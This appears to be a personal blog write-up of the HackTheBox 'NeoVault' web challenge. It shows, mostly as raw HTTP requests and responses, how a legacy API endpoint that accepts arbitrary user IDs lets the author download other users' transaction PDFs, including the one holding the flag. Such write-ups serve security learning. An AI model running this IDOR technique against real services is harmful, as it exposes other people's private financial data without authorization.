Skip to main content

HackTheBox Challenge NeoVault (Web)

Edwin Tok | Shiro
Author
Edwin Tok | Shiro
「 ✦ OwO ✦ 」

Banking app with a legacy API endpoint. Smells like IDOR.

Registered an account first:

POST /api/v2/auth/register HTTP/1.1
Host: 94.237.57.115:43669
Content-Type: application/json
Origin: http://94.237.57.115:43669

{"username":"0xshiro","email":"shiro@neovault.htb","password":"password"}

Response (201 Created):

{
  "token": "<JWT_TOKEN>"
}

Got a JWT token to use for authenticated requests. Checking the transactions:

GET /api/v2/transactions?page=1&limit=10 HTTP/1.1
Host: 94.237.57.115:43669
Cookie: token=<JWT_TOKEN>

Response (200 OK):

{
  "transactions":[
    {
      "_id":"68dba6f9ab92a21dfa1d1915",
      "fromUser":{"_id":"68dba6a1ab92a21dfa1d1902","username":"neo_system"},
      "toUser":{"_id":"68dba6f8ab92a21dfa1d1910","username":"0xshiro"},
      "amount":100,
      "description":"Welcome bonus credit",
      "date":"2025-09-30T09:46:33.036Z"
    }
  ],
  "pagination":{"total":1,"page":1,"pages":1}
}

Interesting - the response leaks other users’ _id values. There’s a neo_system user with ID 68dba6a1ab92a21dfa1d1902.

While exploring the app, I found a legacy v1 endpoint /api/v1/transactions/download-transactions that looked promising:

POST /api/v1/transactions/download-transactions HTTP/1.1
Host: 94.237.57.115:43669
Content-Type: application/json
Cookie: token=<JWT_TOKEN>

{}

Response:

{"message":"_id is not provided"}

Needs an _id parameter. Let’s try supplying someone else’s ID:

POST /api/v1/transactions/download-transactions HTTP/1.1
Host: 94.237.57.115:43669
Content-Type: application/json
Cookie: token=<JWT_TOKEN>

{"_id":"68dba6a1ab92a21dfa1d1902"}

IDOR confirmed! Got a PDF with someone else’s transactions. The PDF mentioned something about user_with_flag. There’s an inquire endpoint to look up user IDs:

GET /api/v2/auth/inquire?username=user_with_flag HTTP/1.1
Host: 94.237.57.115:43669
Cookie: token=<JWT_TOKEN>

Response:

{"_id":"68dba6a1ab92a21dfa1d1907","username":"user_with_flag"}

Perfect! Now download that user’s PDF using the same IDOR:

POST /api/v1/transactions/download-transactions HTTP/1.1
Host: 94.237.57.115:43669
Content-Type: application/json
Cookie: token=<JWT_TOKEN>

{"_id":"68dba6a1ab92a21dfa1d1907"}

Flag: Flag is in the PDF!

Related